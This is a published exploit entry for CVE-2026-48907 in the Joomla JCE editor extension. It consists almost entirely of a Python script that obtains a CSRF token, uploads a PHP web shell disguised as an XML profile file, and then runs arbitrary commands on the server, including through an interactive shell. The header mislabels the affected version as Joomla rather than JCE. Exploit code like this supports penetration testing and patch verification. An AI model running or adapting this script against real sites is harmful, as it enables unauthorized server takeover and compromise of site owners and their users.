Joomla 2.9.99.4 - Unauthenticated Remote Code Execution

# Exploit Title: Joomla  2.9.99.4 -Unauthenticated Remote Code Execution
# Date: 2026-07-10
# Exploit Author: K3ysTr0K3R (Jared Brits)
# Vendor Homepage: https://www.joomla.org/
# Software Link: https://extensions.joomla.org/extension/jce/
# Version: JCE 1.0.0 through 2.9.99.4 (fixed in 2.9.99.5)
# Tested on: Joomla 3.10.11 / JCE 2.9.15 / Apache 2.4 / PHP 7.4
# CVE: CVE-2026-48907
# Description: The JCE (Joomla Content Editor) profile import functionality
# lacks proper authentication and CSRF protections. An unauthenticated
# attacker can upload a crafted XML file containing PHP code; the
# file is stored in the /tmp/ directory and can be accessed via HTTP,
# leading to remote code execution.
#
# Usage examples:
#   python3 exploit.py -u http://example.com --interactive
#   python3 exploit.py -u http://example.com --cmd "id"
#   python3 exploit.py -u http://example.com -v

import re
import sys
import argparse
import requests
from random import randint
from time import sleep
from urllib.parse import urljoin
from rich.console import Console
from rich.text import Text

console = Console()

requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)


class JCEExploit:
    def __init__(self, target_url, proxy=None, verbose=False):
        self.target = target_url.rstrip('/')
        self.verbose = verbose
        self.session = requests.Session()
        self.session.verify = False

        if proxy:
            self.session.proxies = {
                'http': proxy,
                'https': proxy
            }

        self.filename = f"jce-{randint(1000, 9999)}.xml.php"
        self.payload = '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>'

    def log(self, msg, level="INFO"):
        if self.verbose or level in ["SUCCESS", "ERROR", "WARNING"]:
            level_style = {
                "INFO": "blue",
                "SUCCESS": "green",
                "ERROR": "red",
                "WARNING": "yellow"
            }
            symbol = {
                "INFO": "[*]",
                "SUCCESS": "[+]",
                "ERROR": "[-]",
                "WARNING": "[!]"
            }.get(level, "[*]")

            text = Text()
            text.append(symbol, style=level_style.get(level, "blue"))
            text.append(f" {msg}")
            console.print(text)

    def get_csrf_token(self):
        try:
            resp = self.session.get(self.target + '/', timeout=10)
            if resp.status_code != 200:
                self.log(f"Unable to reach target (HTTP {resp.status_code})", "ERROR")
                return None

            patterns = [
                r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"',
                r'<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"',
                r'<meta[^>]*name="csrf\.token"[^>]*content="([a-f0-9]{32})"',
                r'name="([a-f0-9]{32})"\s+value="1"',
            ]

            for pattern in patterns:
                match = re.search(pattern, resp.text, re.I)
                if match:
                    token = match.group(1)
                    self.log(f"CSRF token extracted: {token}", "SUCCESS")
                    return token

            self.log("Could not find CSRF token in the page", "ERROR")
            return None

        except requests.RequestException as e:
            self.log(f"Request failed: {e}", "ERROR")
            return None

    def upload_profile(self, token):
        if not token:
            return False

        endpoint = urljoin(self.target, '/index.php?option=com_jce')

        files = {
            'profile_file': (self.filename, self.payload, 'application/xml')
        }

        data = {
            'task': 'profiles.import',
            token: '1'
        }

        try:
            self.log(f"Uploading malicious file: {self.filename}")
            resp = self.session.post(endpoint, files=files, data=data, timeout=15)

            if resp.status_code != 200:
                self.log(f"Upload failed (HTTP {resp.status_code})", "ERROR")
                return False

            if 'success' in resp.text and 'true' in resp.text:
                self.log("Profile imported – file written to /tmp/", "SUCCESS")
                return True
            else:
                self.log("Profile import may have failed", "WARNING")
                return False

        except requests.RequestException as e:
            self.log(f"Upload request failed: {e}", "ERROR")
            return False

    def get_webshell_url(self):
        return urljoin(self.target, f'/tmp/{self.filename}')

    def execute_command(self, command):
        if not command:
            return ""
        url = self.get_webshell_url()
        try:
            resp = self.session.get(url, params={'cmd': command}, timeout=10)
            if resp.status_code == 200:
                return resp.text
            else:
                return f"[!] HTTP {resp.status_code} – command may have failed."
        except requests.RequestException as e:
            return f"[!] Request error: {e}"

    def interactive_shell(self):
        self.log("Entering interactive shell. Type 'exit' to quit.", "SUCCESS")
        console.print(f"Webshell URL: [cyan]{self.get_webshell_url()}[/cyan]\n")
        while True:
            try:
                cmd = console.input("[cyan]$> [/cyan]").strip()
                if cmd.lower() in ('exit', 'quit'):
                    break
                if cmd == "":
                    continue
                output = self.execute_command(cmd)
                print(output)
            except KeyboardInterrupt:
                print("\nExiting.")
                break

    def run(self, command=None, interactive=False):
        self.log(f"Target: {self.target}")
        self.log("Starting CVE-2026-48907 exploitation process")

        token = self.get_csrf_token()
        if not token:
            self.log("Unable to get CSRF token – JCE may not be installed or fixed.", "ERROR")
            return False

        if not self.upload_profile(token):
            self.log("Upload failed – target may be patched.", "ERROR")
            return False

        test_output = self.execute_command("echo JCE_TEST")
        if "JCE_TEST" in test_output:
            self.log("Webshell is active and responding.", "SUCCESS")
        else:
            self.log("Webshell does not respond as expected – command execution may be disabled.", "WARNING")

        if command:
            self.log(f"Executing command: {command}")
            output = self.execute_command(command)
            print(output)
            return True

        if interactive:
            self.interactive_shell()
        else:
            self.log("Exploit complete. Use --interactive to get a shell, or --cmd to run one command.", "INFO")
            self.log(f"Direct webshell URL: {self.get_webshell_url()}")

        return True


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-48907 - Joomla JCE Unauthenticated RCE',
        epilog='Examples:\n'
               '  python3 exploit.py -u http://target.com --interactive\n'
               '  python3 exploit.py -u http://target.com --cmd "id"\n'
               '  python3 exploit.py -u http://target.com -v'
    )
    parser.add_argument('-u', '--url', required=True, help='Target Joomla base URL')
    parser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)')
    parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output')
    parser.add_argument('--cmd', help='Execute a single command and exit')
    parser.add_argument('--interactive', action='store_true', help='Start an interactive shell')

    args = parser.parse_args()

    banner = Text()
    banner.append("[!] ", style="yellow")
    banner.append("CVE-2026-48907 - Joomla JCE Unauthenticated RCE Exploit\n")
    banner.append("[!] ", style="yellow")
    banner.append("Coded by K3ysTr0K3R (Jared Brits)\n")
    console.print(banner, style="bold")

    if not args.verbose and not args.cmd and not args.interactive:
        confirm = console.input("\nConfirm you are testing in an authorized environment? (y/N): ")
        if confirm.lower() != 'y':
            console.print("Exiting.")
            sys.exit(0)

    exploit = JCEExploit(args.url, args.proxy, args.verbose)
    success = exploit.run(command=args.cmd, interactive=args.interactive)

    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()